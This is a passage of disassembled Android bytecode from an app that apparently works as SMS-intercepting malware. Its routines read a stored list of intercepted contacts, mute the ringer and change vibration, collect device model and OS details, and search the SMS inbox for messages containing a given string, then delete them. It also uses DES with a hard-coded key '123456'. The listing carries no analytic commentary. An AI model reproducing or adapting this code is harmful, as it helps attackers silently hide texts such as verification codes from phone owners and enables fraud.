0000003A  invoke-virtual          StringBuilder->toString()String, v6
00000040  move-result-object      v6
00000042  aput-object             v6, v5, v0
00000046  invoke-virtual          SQLiteDatabase->delete(String, String, [String)I, v2, v3, v4, v5
0000004C  move-result             v2
0000004E  if-gez                  v2, :54
:52
00000052  return                  v0
:54
00000054  move                    v0, v1
00000056  goto                    :52
.end method

.method public static b()ArrayList
          .registers 8
00000000  const/4                 v2, 0x0
00000002  invoke-static           PhoneApplication->a()PhoneApplication
00000008  move-result-object      v0
0000000A  invoke-static           a->a(Context)a, v0
00000010  move-result-object      v0
00000012  invoke-virtual          a->getReadableDatabase()SQLiteDatabase, v0
00000018  move-result-object      v0
0000001A  const-string            v1, "intercept_person"
0000001E  move-object             v3, v2
00000020  move-object             v4, v2
00000022  move-object             v5, v2
00000024  move-object             v6, v2
00000026  move-object             v7, v2
00000028  invoke-virtual/range    SQLiteDatabase->query(String, [String, String, [String, String, String, String)Cursor, v0 .. v7
0000002E  move-result-object      v0
00000030  new-instance            v1, ArrayList
00000034  invoke-direct           ArrayList-><init>()V, v1
:3A
0000003A  invoke-interface        Cursor->moveToNext()Z, v0
00000040  move-result             v2
00000042  if-nez                  v2, :4E
:46
00000046  invoke-static           b->a(Cursor)V, v0
0000004C  return-object           v1
:4E
0000004E  const-string            v2, "id"
00000052  invoke-interface        Cursor->getColumnIndex(String)I, v0, v2
00000058  move-result             v2
0000005A  invoke-interface        Cursor->getLong(I)J, v0, v2
00000060  move-result-wide        v2
00000062  const-string            v4, "number"
00000066  invoke-interface        Cursor->getColumnIndex(String)I, v0, v4
0000006C  move-result             v4
0000006E  invoke-interface        Cursor->getString(I)String, v0, v4
00000074  move-result-object      v4
00000076  const-string            v5, "name"
0000007A  invoke-interface        Cursor->getColumnIndex(String)I, v0, v5
00000080  move-result             v5
00000082  invoke-interface        Cursor->getString(I)String, v0, v5
00000088  move-result-object      v5
0000008A  new-instance            v6, c
0000008E  invoke-direct           c-><init>()V, v6
00000094  iput-wide               v2, v6, c->a:J
00000098  iput-object             v4, v6, c->c:String
0000009C  iput-object             v5, v6, c->b:String
000000A0  invoke-virtual          ArrayList->add(Object)Z, v1, v6
000000A6  goto                    :3A
.end method

#--------------------------------------------------------------------------------
.class public a
.super Object
.source ""

.method public static a(c)V
          .registers 3
00000000  if-nez                  p0, :6
:4
00000004  return-void
:6
00000006  new-instance            v0, b
0000000A  invoke-direct           b-><init>(c)V, v0, p0
00000010  const/4                 v1, 0x0
00000012  new-array               v1, v1, [Void
00000016  invoke-virtual          b->execute([Object)AsyncTask, v0, v1
0000001C  goto                    :4
.end method

#--------------------------------------------------------------------------------
.class b
.super AsyncTask
.source ""

.field private final synthetic a:c

.method constructor <init>(c)V
          .registers 2
00000000  iput-object             p1, p0, b->a:c
00000004  invoke-direct           AsyncTask-><init>()V, p0
0000000A  return-void
.end method

.method protected transient varargs a([Void)Object
          .registers 3
00000000  iget-object             v0, p0, b->a:c
00000004  invoke-interface        c->a()Object, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method protected transient varargs synthetic doInBackground([Object)Object
          .registers 3
00000000  check-cast              p1, [Void
00000004  invoke-virtual          b->a([Void)Object, p0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method protected onPostExecute(Object)V
          .registers 3
00000000  iget-object             v0, p0, b->a:c
00000004  invoke-interface        c->a(Object)V, v0, p1
0000000A  return-void
.end method

#--------------------------------------------------------------------------------
.class public d
.super Object
.source ""

.method public static a(Context, I)V
          .registers 3
00000000  const-string            v0, "audio"
00000004  invoke-virtual          Context->getSystemService(String)Object, p0, v0
0000000A  move-result-object      v0
0000000C  check-cast              v0, AudioManager
00000010  if-eqz                  v0, :1A
:14
00000014  invoke-virtual          AudioManager->setRingerMode(I)V, v0, p1
:1A
0000001A  return-void
.end method

.method public static a(Context, Z)V
          .registers 4
00000000  const-string            v0, "audio"
00000004  invoke-virtual          Context->getSystemService(String)Object, p0, v0
0000000A  move-result-object      v0
0000000C  check-cast              v0, AudioManager
00000010  if-eqz                  v0, :1C
:14
00000014  const/4                 v1, 0x3
00000016  invoke-virtual          AudioManager->setStreamMute(I, Z)V, v0, v1, p1
:1C
0000001C  return-void
.end method

.method public static b(Context, I)V
          .registers 4
00000000  const-string            v0, "audio"
00000004  invoke-virtual          Context->getSystemService(String)Object, p0, v0
0000000A  move-result-object      v0
0000000C  check-cast              v0, AudioManager
00000010  if-eqz                  v0, :1C
:14
00000014  const/4                 v1, 0x0
00000016  invoke-virtual          AudioManager->setVibrateSetting(I, I)V, v0, v1, p1
:1C
0000001C  return-void
.end method

.method public static c(Context, I)V
          .registers 4
00000000  const-string            v0, "audio"
00000004  invoke-virtual          Context->getSystemService(String)Object, p0, v0
0000000A  move-result-object      v0
0000000C  check-cast              v0, AudioManager
00000010  if-eqz                  v0, :1C
:14
00000014  const/4                 v1, 0x1
00000016  invoke-virtual          AudioManager->setVibrateSetting(I, I)V, v0, v1, p1
:1C
0000001C  return-void
.end method

#--------------------------------------------------------------------------------
.class public e
.super Object
.source ""

.field private static a:String
.field private b:Cipher
.field private c:Cipher

.method static constructor <clinit>()V
          .registers 1
00000000  const-string            v0, "123456"
00000004  sput-object             v0, e->a:String
00000008  return-void
.end method

.method public constructor <init>()V
          .registers 2
00000000  sget-object             v0, e->a:String
00000004  invoke-direct           e-><init>(String)V, p0, v0
0000000A  return-void
.end method

.method public constructor <init>(String)V
          .registers 5
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v0, p0, e->b:Cipher
0000000C  iput-object             v0, p0, e->c:Cipher
00000010  invoke-virtual          String->getBytes()[B, p1
00000016  move-result-object      v0
00000018  invoke-direct           e->b([B)Key, p0, v0
0000001E  move-result-object      v0
00000020  const-string            v1, "DES"
00000024  invoke-static           Cipher->getInstance(String)Cipher, v1
0000002A  move-result-object      v1
0000002C  iput-object             v1, p0, e->b:Cipher
00000030  iget-object             v1, p0, e->b:Cipher
00000034  const/4                 v2, 0x1
00000036  invoke-virtual          Cipher->init(I, Key)V, v1, v2, v0
0000003C  const-string            v1, "DES"
00000040  invoke-static           Cipher->getInstance(String)Cipher, v1
00000046  move-result-object      v1
00000048  iput-object             v1, p0, e->c:Cipher
0000004C  iget-object             v1, p0, e->c:Cipher
00000050  const/4                 v2, 0x2
00000052  invoke-virtual          Cipher->init(I, Key)V, v1, v2, v0
00000058  return-void
.end method

.method public static a(String)[B
          .registers 8
00000000  invoke-virtual          String->getBytes()[B, p0
00000006  move-result-object      v1
00000008  array-length            v2, v1
0000000A  div-int/lit8            v0, v2, 0x2
0000000E  new-array               v3, v0, [B
00000012  const/4                 v0, 0x0
:14
00000014  if-lt                   v0, v2, :1A
:18
00000018  return-object           v3
:1A
0000001A  new-instance            v4, String
0000001E  const/4                 v5, 0x2
00000020  invoke-direct           String-><init>([B, I, I)V, v4, v1, v0, v5
00000026  div-int/lit8            v5, v0, 0x2
0000002A  const/16                v6, 0x10
0000002E  invoke-static           Integer->parseInt(String, I)I, v4, v6
00000034  move-result             v4
00000036  int-to-byte             v4, v4
00000038  aput-byte               v4, v3, v5
0000003C  add-int/lit8            v0, v0, 0x2
00000040  goto                    :14
.end method

.method private b([B)Key
          .registers 5
00000000  const/16                v0, 0x8
00000004  new-array               v1, v0, [B
00000008  const/4                 v0, 0x0
:A
0000000A  array-length            v2, p1
0000000C  if-ge                   v0, v2, :16
:10
00000010  array-length            v2, v1
00000012  if-lt                   v0, v2, :26
:16
00000016  new-instance            v0, SecretKeySpec
0000001A  const-string            v2, "DES"
0000001E  invoke-direct           SecretKeySpec-><init>([B, String)V, v0, v1, v2
00000024  return-object           v0
:26
00000026  aget-byte               v2, p1, v0
0000002A  aput-byte               v2, v1, v0
0000002E  add-int/lit8            v0, v0, 0x1
00000032  goto                    :A
.end method

.method public a([B)[B
          .registers 3
00000000  iget-object             v0, p0, e->c:Cipher
00000004  invoke-virtual          Cipher->doFinal([B)[B, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public b(String)String
          .registers 4
00000000  new-instance            v0, String
00000004  invoke-static           e->a(String)[B, p1
0000000A  move-result-object      v1
0000000C  invoke-virtual          e->a([B)[B, p0, v1
00000012  move-result-object      v1
00000014  invoke-direct           String-><init>([B)V, v0, v1
0000001A  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public f
.super Object
.source ""

.field public static a:SimpleDateFormat

.method static constructor <clinit>()V
          .registers 1
00000000  new-instance            v0, SimpleDateFormat
00000004  invoke-direct           SimpleDateFormat-><init>()V, v0
0000000A  sput-object             v0, f->a:SimpleDateFormat
0000000E  return-void
.end method

.method public static a(J)String
          .registers 4
00000000  new-instance            v0, Date
00000004  invoke-direct           Date-><init>(J)V, v0, p0, p1
0000000A  const-string            v1, "yyyy-MM-dd HH:mm:ss"
0000000E  invoke-static           f->a(Date, String)String, v0, v1
00000014  move-result-object      v0
00000016  return-object           v0
.end method

.method public static a(String)String
          .registers 4
00000000  new-instance            v0, StringBuffer
00000004  invoke-direct           StringBuffer-><init>()V, v0
0000000A  if-nez                  p0, :3E
:E
0000000E  const-string            v1, "yyyyMMdd"
00000012  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:18
00000018  new-instance            v1, SimpleDateFormat
0000001C  invoke-virtual          StringBuffer->toString()String, v0
00000022  move-result-object      v0
00000024  invoke-direct           SimpleDateFormat-><init>(String)V, v1, v0
0000002A  new-instance            v0, Date
0000002E  invoke-direct           Date-><init>()V, v0
00000034  invoke-virtual          SimpleDateFormat->format(Date)String, v1, v0
0000003A  move-result-object      v0
0000003C  return-object           v0
:3E
0000003E  const-string            v1, "yyyy"
00000042  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
00000048  move-result-object      v1
0000004A  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, p0
00000050  move-result-object      v1
00000052  const-string            v2, "MM"
00000056  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v2
0000005C  move-result-object      v1
0000005E  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, p0
00000064  move-result-object      v1
00000066  const-string            v2, "dd"
0000006A  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v2
00000070  move-result-object      v1
00000072  const-string            v2, " HH:mm:ss"
00000076  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v2
0000007C  goto                    :18
.end method

.method public static a(Date, String)String
          .registers 3
00000000  invoke-static           TextUtils->isEmpty(CharSequence)Z, p1
00000006  move-result             v0
00000008  if-eqz                  v0, :10
:C
0000000C  const-string            p1, "yyyyMMdd"
:10
00000010  sget-object             v0, f->a:SimpleDateFormat
00000014  invoke-virtual          SimpleDateFormat->applyPattern(String)V, v0, p1
0000001A  if-nez                  p0, :28
:1E
0000001E  new-instance            p0, Date
00000022  invoke-direct           Date-><init>()V, p0
:28
00000028  sget-object             v0, f->a:SimpleDateFormat
0000002C  invoke-virtual          SimpleDateFormat->format(Date)String, v0, p0
:32
00000032  move-result-object      v0
:34
00000034  return-object           v0
:36
00000036  move-exception          v0
00000038  const-string            v0, ""
0000003C  goto                    :34
          .catch Exception {:28 .. :32} :36
.end method

#--------------------------------------------------------------------------------
.class public g
.super Object
.source ""

.field private static a:Z

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x1
00000002  sput-boolean            v0, g->a:Z
00000006  return-void
.end method

.method public static a(String)V
          .registers 2
00000000  sget-boolean            v0, g->a:Z
00000004  if-eqz                  v0, :12
:8
00000008  const-string            v0, "................"
0000000C  invoke-static           Log->e(String, String)I, v0, p0
:12
00000012  return-void
.end method

.method public static a(String, Exception)V
          .registers 3
00000000  sget-boolean            v0, g->a:Z
00000004  if-eqz                  v0, :12
:8
00000008  const-string            v0, "................"
0000000C  invoke-static           Log->e(String, String, Throwable)I, v0, p0, p1
:12
00000012  return-void
.end method

#--------------------------------------------------------------------------------
.class public h
.super Object
.source ""

.field a:Handler
.field private b:Context
.field private final c:I
.field private final d:I

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x1
00000008  iput                    v0, p0, h->c:I
0000000C  const/4                 v0, 0x2
0000000E  iput                    v0, p0, h->d:I
00000012  new-instance            v0, i
00000016  invoke-direct           i-><init>(h)V, v0, p0
0000001C  iput-object             v0, p0, h->a:Handler
00000020  return-void
.end method

.method static synthetic a(h)Context
          .registers 2
00000000  iget-object             v0, p0, h->b:Context
00000004  return-object           v0
.end method

.method private a(Cursor)V
          .registers 3
00000000  if-eqz                  p1, :A
:4
00000004  invoke-interface        Cursor->close()V, p1
:A
0000000A  return-void
:C
0000000C  move-exception          v0
0000000E  goto                    :A
          .catch Exception {:4 .. :A} :C
.end method

.method static synthetic a(h, Cursor)V
          .registers 2
00000000  invoke-direct           h->a(Cursor)V, p0, p1
00000006  return-void
.end method

.method public a(Context, String)V
          .registers 12
00000000  const/4                 v7, 0x1
00000002  const/4                 v6, 0x0
00000004  const/4                 v2, 0x0
00000006  iput-object             p1, p0, h->b:Context
0000000A  invoke-virtual          Context->getContentResolver()ContentResolver, p1
00000010  move-result-object      v0
00000012  sget-object             v1, a->a:Uri
00000016  const-string            v5, "_id desc"
0000001A  move-object             v3, v2
0000001C  move-object             v4, v2
0000001E  invoke-virtual/range    ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
00000024  move-result-object      v4
00000026  if-eqz                  v4, :36
:2A
0000002A  invoke-interface        Cursor->getCount()I, v4
00000030  move-result             v1
00000032  if-nez                  v1, :3E
:36
00000036  invoke-direct           h->a(Cursor)V, p0, v4
:3C
0000003C  return-void
:3E
0000003E  move                    v1, v6
:40
00000040  invoke-interface        Cursor->moveToNext()Z, v4
00000046  move-result             v3
00000048  if-nez                  v3, :78
:4C
0000004C  invoke-direct           h->a(Cursor)V, p0, v4
00000052  if-nez                  v6, :3C
:56
00000056  new-instance            v0, Message
0000005A  invoke-direct           Message-><init>()V, v0
00000060  iput                    v7, v0, Message->what:I
00000064  iput-object             p2, v0, Message->obj:Object
00000068  iget-object             v1, p0, h->a:Handler
0000006C  const-wide/16           v2, 0xFA0
00000070  invoke-virtual          Handler->sendMessageDelayed(Message, J)Z, v1, v0, v2, v3
00000076  goto                    :3C
:78
00000078  const-string            v3, "body"
0000007C  invoke-interface        Cursor->getColumnIndex(String)I, v4, v3
00000082  move-result             v3
00000084  invoke-interface        Cursor->getString(I)String, v4, v3
0000008A  move-result-object      v3
0000008C  new-instance            v5, StringBuilder
00000090  const-string            v8, "delete      查询---------body= "
00000094  invoke-direct           StringBuilder-><init>(String)V, v5, v8
0000009A  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v3
000000A0  move-result-object      v5
000000A2  invoke-virtual          StringBuilder->toString()String, v5
000000A8  move-result-object      v5
000000AA  invoke-static           g->a(String)V, v5
000000B0  invoke-virtual          String->contains(CharSequence)Z, v3, p2
000000B6  move-result             v3
000000B8  if-eqz                  v3, :180
:BC
000000BC  const-string            v1, "delete-------------找到此条消息 "
000000C0  invoke-static           g->a(String)V, v1
000000C6  const-string            v1, "_id"
000000CA  invoke-interface        Cursor->getColumnIndex(String)I, v4, v1
000000D0  move-result             v1
000000D2  invoke-interface        Cursor->getInt(I)I, v4, v1
000000D8  move-result             v1
000000DA  new-instance            v3, StringBuilder
000000DE  const-string            v5, "content://sms/"
000000E2  invoke-direct           StringBuilder-><init>(String)V, v3, v5
000000E8  invoke-virtual          StringBuilder->append(I)StringBuilder, v3, v1
000000EE  move-result-object      v3
000000F0  invoke-virtual          StringBuilder->toString()String, v3
000000F6  move-result-object      v3
000000F8  invoke-static           Uri->parse(String)Uri, v3
000000FE  move-result-object      v3
00000100  invoke-virtual          ContentResolver->delete(Uri, String, [String)I, v0, v3, v2, v2
00000106  move-result             v3
00000108  new-instance            v5, StringBuilder
0000010C  const-string            v6, "delete-------------删除结果1= "
00000110  invoke-direct           StringBuilder-><init>(String)V, v5, v6
00000116  invoke-virtual          StringBuilder->append(I)StringBuilder, v5, v3
0000011C  move-result-object      v3
0000011E  invoke-virtual          StringBuilder->toString()String, v3
00000124  move-result-object      v3
00000126  invoke-static           g->a(String)V, v3
0000012C  sget-object             v3, a->a:Uri
00000130  new-instance            v5, StringBuilder
00000134  const-string            v6, "_id="
00000138  invoke-direct           StringBuilder-><init>(String)V, v5, v6
0000013E  invoke-virtual          StringBuilder->append(I)StringBuilder, v5, v1
00000144  move-result-object      v1
00000146  invoke-virtual          StringBuilder->toString()String, v1
0000014C  move-result-object      v1
0000014E  invoke-virtual          ContentResolver->delete(Uri, String, [String)I, v0, v3, v1, v2
00000154  move-result             v0
00000156  new-instance            v1, StringBuilder
0000015A  const-string            v2, "delete-------------删除结果2= "
0000015E  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000164  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v0
0000016A  move-result-object      v0
0000016C  invoke-virtual          StringBuilder->toString()String, v0
00000172  move-result-object      v0
00000174  invoke-static           g->a(String)V, v0
0000017A  move                    v6, v7
0000017C  goto/16                 :4C
:180
00000180  add-int/lit8            v3, v1, 0x1
00000184  const/4                 v5, 0x3
00000186  if-eq                   v1, v5, :4C
:18A
0000018A  move                    v1, v3
0000018C  goto/16                 :40
.end method

#--------------------------------------------------------------------------------
.class i
.super Handler
.source ""

.field final synthetic a:h

.method constructor <init>(h)V
          .registers 2
00000000  iput-object             p1, p0, i->a:h
00000004  invoke-direct           Handler-><init>()V, p0
0000000A  return-void
.end method

.method public handleMessage(Message)V
          .registers 10
00000000  const/4                 v7, 0x0
00000002  const/4                 v2, 0x0
00000004  iget                    v0, p1, Message->what:I
00000008  packed-switch           v0, :2C0
:E
0000000E  return-void
:10
00000010  iget-object             v0, p1, Message->obj:Object
00000014  move-object             v6, v0
00000016  check-cast              v6, String
0000001A  iget-object             v0, p0, i->a:h
0000001E  invoke-static           h->a(h)Context, v0
00000024  move-result-object      v0
00000026  invoke-virtual          Context->getContentResolver()ContentResolver, v0
0000002C  move-result-object      v0
0000002E  sget-object             v1, a->a:Uri
00000032  const-string            v5, "_id desc"
00000036  move-object             v3, v2
00000038  move-object             v4, v2
0000003A  invoke-virtual/range    ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
00000040  move-result-object      v4
00000042  if-eqz                  v4, :52
:46
00000046  invoke-interface        Cursor->getCount()I, v4
0000004C  move-result             v1
0000004E  if-nez                  v1, :5E
:52
00000052  iget-object             v0, p0, i->a:h
00000056  invoke-static           h->a(h, Cursor)V, v0, v4
0000005C  goto                    :E
:5E
0000005E  move                    v1, v7
:60
00000060  invoke-interface        Cursor->moveToNext()Z, v4
00000066  move-result             v3
00000068  if-nez                  v3, :78
:6C
0000006C  iget-object             v0, p0, i->a:h
00000070  invoke-static           h->a(h, Cursor)V, v0, v4
00000076  goto                    :E
:78
00000078  const-string            v3, "body"
0000007C  invoke-interface        Cursor->getColumnIndex(String)I, v4, v3
00000082  move-result             v3
00000084  invoke-interface        Cursor->getString(I)String, v4, v3
0000008A  move-result-object      v3
0000008C  new-instance            v5, StringBuilder
00000090  const-string            v7, "handler      查询---------body= "
00000094  invoke-direct           StringBuilder-><init>(String)V, v5, v7
0000009A  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v3
000000A0  move-result-object      v5
000000A2  invoke-virtual          StringBuilder->toString()String, v5
000000A8  move-result-object      v5
000000AA  invoke-static           g->a(String)V, v5
000000B0  invoke-virtual          String->contains(CharSequence)Z, v3, v6
000000B6  move-result             v3
000000B8  if-eqz                  v3, :1A2
:BC
000000BC  const-string            v1, "handler-------------找到此条消息 "
000000C0  invoke-static           g->a(String)V, v1
000000C6  const-string            v1, "_id"
000000CA  invoke-interface        Cursor->getColumnIndex(String)I, v4, v1
000000D0  move-result             v1
000000D2  invoke-interface        Cursor->getInt(I)I, v4, v1
000000D8  move-result             v1
000000DA  new-instance            v3, StringBuilder
000000DE  const-string            v5, "handler-------------id= "
000000E2  invoke-direct           StringBuilder-><init>(String)V, v3, v5
000000E8  invoke-virtual          StringBuilder->append(I)StringBuilder, v3, v1
000000EE  move-result-object      v3
000000F0  invoke-virtual          StringBuilder->toString()String, v3
000000F6  move-result-object      v3
000000F8  invoke-static           g->a(String)V, v3
000000FE  new-instance            v3, StringBuilder
00000102  const-string            v5, "content://sms/"
00000106  invoke-direct           StringBuilder-><init>(String)V, v3, v5
0000010C  invoke-virtual          StringBuilder->append(I)StringBuilder, v3, v1
00000112  move-result-object      v3
00000114  invoke-virtual          StringBuilder->toString()String, v3
0000011A  move-result-object      v3
0000011C  invoke-static           Uri->parse(String)Uri, v3
00000122  move-result-object      v3
00000124  invoke-virtual          ContentResolver->delete(Uri, String, [String)I, v0, v3, v2, v2
0000012A  move-result             v3
0000012C  new-instance            v5, StringBuilder
00000130  const-string            v6, "handler-------------删除结果1= "
00000134  invoke-direct           StringBuilder-><init>(String)V, v5, v6
0000013A  invoke-virtual          StringBuilder->append(I)StringBuilder, v5, v3
00000140  move-result-object      v3
00000142  invoke-virtual          StringBuilder->toString()String, v3
00000148  move-result-object      v3
0000014A  invoke-static           g->a(String)V, v3
00000150  sget-object             v3, a->a:Uri
00000154  new-instance            v5, StringBuilder
00000158  const-string            v6, "_id="
0000015C  invoke-direct           StringBuilder-><init>(String)V, v5, v6
00000162  invoke-virtual          StringBuilder->append(I)StringBuilder, v5, v1
00000168  move-result-object      v1
0000016A  invoke-virtual          StringBuilder->toString()String, v1
00000170  move-result-object      v1
00000172  invoke-virtual          ContentResolver->delete(Uri, String, [String)I, v0, v3, v1, v2
00000178  move-result             v0
0000017A  new-instance            v1, StringBuilder
0000017E  const-string            v2, "handler-------------删除结果2= "
00000182  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000188  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v0
0000018E  move-result-object      v0
00000190  invoke-virtual          StringBuilder->toString()String, v0
00000196  move-result-object      v0
00000198  invoke-static           g->a(String)V, v0
0000019E  goto/16                 :6C
:1A2
000001A2  add-int/lit8            v3, v1, 0x1
000001A6  const/4                 v5, 0x3
000001A8  if-eq                   v1, v5, :6C
:1AC
000001AC  move                    v1, v3
000001AE  goto/16                 :60
:1B2
000001B2  iget-object             v0, p1, Message->obj:Object
000001B6  move-object             v6, v0
000001B8  check-cast              v6, String
000001BC  iget-object             v0, p0, i->a:h
000001C0  invoke-static           h->a(h)Context, v0
000001C6  move-result-object      v0
000001C8  invoke-virtual          Context->getContentResolver()ContentResolver, v0
000001CE  move-result-object      v0
000001D0  sget-object             v1, a->d:Uri
000001D4  const-string            v5, "_id desc"
000001D8  move-object             v3, v2
000001DA  move-object             v4, v2
000001DC  invoke-virtual/range    ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
000001E2  move-result-object      v3
000001E4  if-eqz                  v3, :1F4
:1E8
000001E8  invoke-interface        Cursor->getCount()I, v3
000001EE  move-result             v1
000001F0  if-nez                  v1, :2B0
:1F4
000001F4  iget-object             v0, p0, i->a:h
000001F8  invoke-static           h->a(h, Cursor)V, v0, v3
000001FE  goto/16                 :E
:202
00000202  const-string            v1, "body"
00000206  invoke-interface        Cursor->getColumnIndex(String)I, v3, v1
0000020C  move-result             v1
0000020E  invoke-interface        Cursor->getString(I)String, v3, v1
00000214  move-result-object      v1
00000216  invoke-virtual          String->contains(CharSequence)Z, v1, v6
0000021C  move-result             v4
0000021E  if-nez                  v4, :22E
:222
00000222  invoke-virtual          String->contains(CharSequence)Z, v6, v1
00000228  move-result             v1
0000022A  if-eqz                  v1, :2A4
:22E
0000022E  const-string            v1, "_id"
00000232  invoke-interface        Cursor->getColumnIndex(String)I, v3, v1
00000238  move-result             v1
0000023A  invoke-interface        Cursor->getInt(I)I, v3, v1
00000240  move-result             v1
00000242  new-instance            v4, StringBuilder
00000246  const-string            v5, "content://sms/"
0000024A  invoke-direct           StringBuilder-><init>(String)V, v4, v5
00000250  invoke-virtual          StringBuilder->append(I)StringBuilder, v4, v1
00000256  move-result-object      v4
00000258  invoke-virtual          StringBuilder->toString()String, v4
0000025E  move-result-object      v4
00000260  invoke-static           Uri->parse(String)Uri, v4
00000266  move-result-object      v4
00000268  invoke-virtual          ContentResolver->delete(Uri, String, [String)I, v0, v4, v2, v2
0000026E  sget-object             v4, a->a:Uri
00000272  new-instance            v5, StringBuilder
00000276  const-string            v6, "_id="
0000027A  invoke-direct           StringBuilder-><init>(String)V, v5, v6
00000280  invoke-virtual          StringBuilder->append(I)StringBuilder, v5, v1
00000286  move-result-object      v1
00000288  invoke-virtual          StringBuilder->toString()String, v1
0000028E  move-result-object      v1
00000290  invoke-virtual          ContentResolver->delete(Uri, String, [String)I, v0, v4, v1, v2
:296
00000296  iget-object             v0, p0, i->a:h
0000029A  invoke-static           h->a(h, Cursor)V, v0, v3
000002A0  goto/16                 :E
:2A4
000002A4  add-int/lit8            v1, v7, 0x1
000002A8  const/4                 v4, 0x4
000002AA  if-eq                   v7, v4, :296
:2AE
000002AE  move                    v7, v1
:2B0
000002B0  invoke-interface        Cursor->moveToNext()Z, v3
000002B6  move-result             v1
000002B8  if-nez                  v1, :202
:2BC
000002BC  goto                    :296
000002C0  .packed-switch 0x1
              :10
              :1B2
          .end packed-switch
.end method

#--------------------------------------------------------------------------------
.class public j
.super Object
.source ""

.method public static a()String
          .registers 2
00000000  new-instance            v0, StringBuilder
00000004  invoke-direct           StringBuilder-><init>()V, v0
0000000A  const-string            v1, "型号:"
0000000E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000014  move-result-object      v0
00000016  sget-object             v1, Build->MODEL:String
0000001A  invoke-static           j->a(String)String, v1
00000020  move-result-object      v1
00000022  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000028  move-result-object      v0
0000002A  const-string            v1, ";\n手机:"
0000002E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000034  move-result-object      v0
00000036  sget-object             v1, Build->BRAND:String
0000003A  invoke-static           j->a(String)String, v1
00000040  move-result-object      v1
00000042  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000048  move-result-object      v0
0000004A  const-string            v1, ";\n系统版本:"
0000004E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000054  move-result-object      v0
00000056  sget-object             v1, Build$VERSION->RELEASE:String
0000005A  invoke-static           j->a(String)String, v1
00000060  move-result-object      v1
00000062  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000068  move-result-object      v0
0000006A  invoke-virtual          StringBuilder->toString()String, v0
00000070  move-result-object      v0
00000072  return-object           v0
.end method

.method public static a(String)String
          .registers 4
00000000  invoke-static           j->b(String)String, p0
00000006  move-result-object      v0
00000008  const-string            v1, "\\"
0000000C  const-string            v2, "\\\\"
00000010  invoke-virtual          String->replace(CharSequence, CharSequence)String, v0, v1, v2
00000016  move-result-object      v0
00000018  const-string            v1, "\""
0000001C  const-string            v2, "\\\""
00000020  invoke-virtual          String->replace(CharSequence, CharSequence)String, v0, v1, v2
00000026  move-result-object      v0
00000028  const-string            v1, "\r"
0000002C  const-string            v2, "\\r"
00000030  invoke-virtual          String->replace(CharSequence, CharSequence)String, v0, v1, v2
00000036  move-result-object      v0
00000038  const-string            v1, "\n"
0000003C  const-string            v2, "\\n"
00000040  invoke-virtual          String->replace(CharSequence, CharSequence)String, v0, v1, v2
00000046  move-result-object      v0
00000048  const-string            v1, "\t"
0000004C  const-string            v2, "\\t"
00000050  invoke-virtual          String->replace(CharSequence, CharSequence)String, v0, v1, v2
00000056  move-result-object      v0
00000058  const-string            v1, "[\\x00-\\x08\\x0b-\\x0c\\x0e-\\x1f]+"
0000005C  const-string            v2, ""
00000060  invoke-virtual          String->replaceAll(String, String)String, v0, v1, v2
00000066  move-result-object      v0
00000068  return-object           v0
.end method

.method private static b(String)String
          .registers 1
00000000  if-nez                  p0, :8
:4
00000004  const-string            p0, ""
:8
00000008  return-object           p0
.end method

#--------------------------------------------------------------------------------
.class public k
.super Object
.source ""

.method public static a(Context)V
          .registers 9
00000000  const/4                 v7, 0x1
00000002  const/4                 v2, 0x0
00000004  invoke-static           a->a(Context)a, p0
0000000A  move-result-object      v0
0000000C  invoke-virtual          a->h()Z, v0
00000012  move-result             v0
00000014  if-nez                  v0, :E4
:18
00000018  invoke-virtual          Context->getContentResolver()ContentResolver, p0
0000001E  move-result-object      v0
00000020  sget-object             v1, a->b:Uri
00000024  const-string            v5, "date"
00000028  move-object             v3, v2
0000002A  move-object             v4, v2
0000002C  invoke-virtual/range    ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
00000032  move-result-object      v1
:34
00000034  invoke-static           a->a(Context)a, p0
0000003A  move-result-object      v2
0000003C  invoke-virtual          a->h()Z, v2
00000042  move-result             v2
00000044  if-nez                  v2, :DE
:48
00000048  invoke-interface        Cursor->moveToNext()Z, v1
0000004E  move-result             v2
00000050  if-eqz                  v2, :DE
:54
00000054  const-string            v2, "_id"
00000058  invoke-interface        Cursor->getColumnIndex(String)I, v1, v2
0000005E  move-result             v2
00000060  invoke-interface        Cursor->getInt(I)I, v1, v2
00000066  move-result             v2
00000068  new-instance            v3, StringBuilder
0000006C  const-string            v4, "content://sms/"
00000070  invoke-direct           StringBuilder-><init>(String)V, v3, v4
00000076  invoke-virtual          StringBuilder->append(I)StringBuilder, v3, v2
0000007C  move-result-object      v3
0000007E  invoke-virtual          StringBuilder->toString()String, v3
00000084  move-result-object      v3
00000086  invoke-static           Uri->parse(String)Uri, v3
0000008C  move-result-object      v3
0000008E  const/4                 v4, 0x0
00000090  const/4                 v5, 0x0
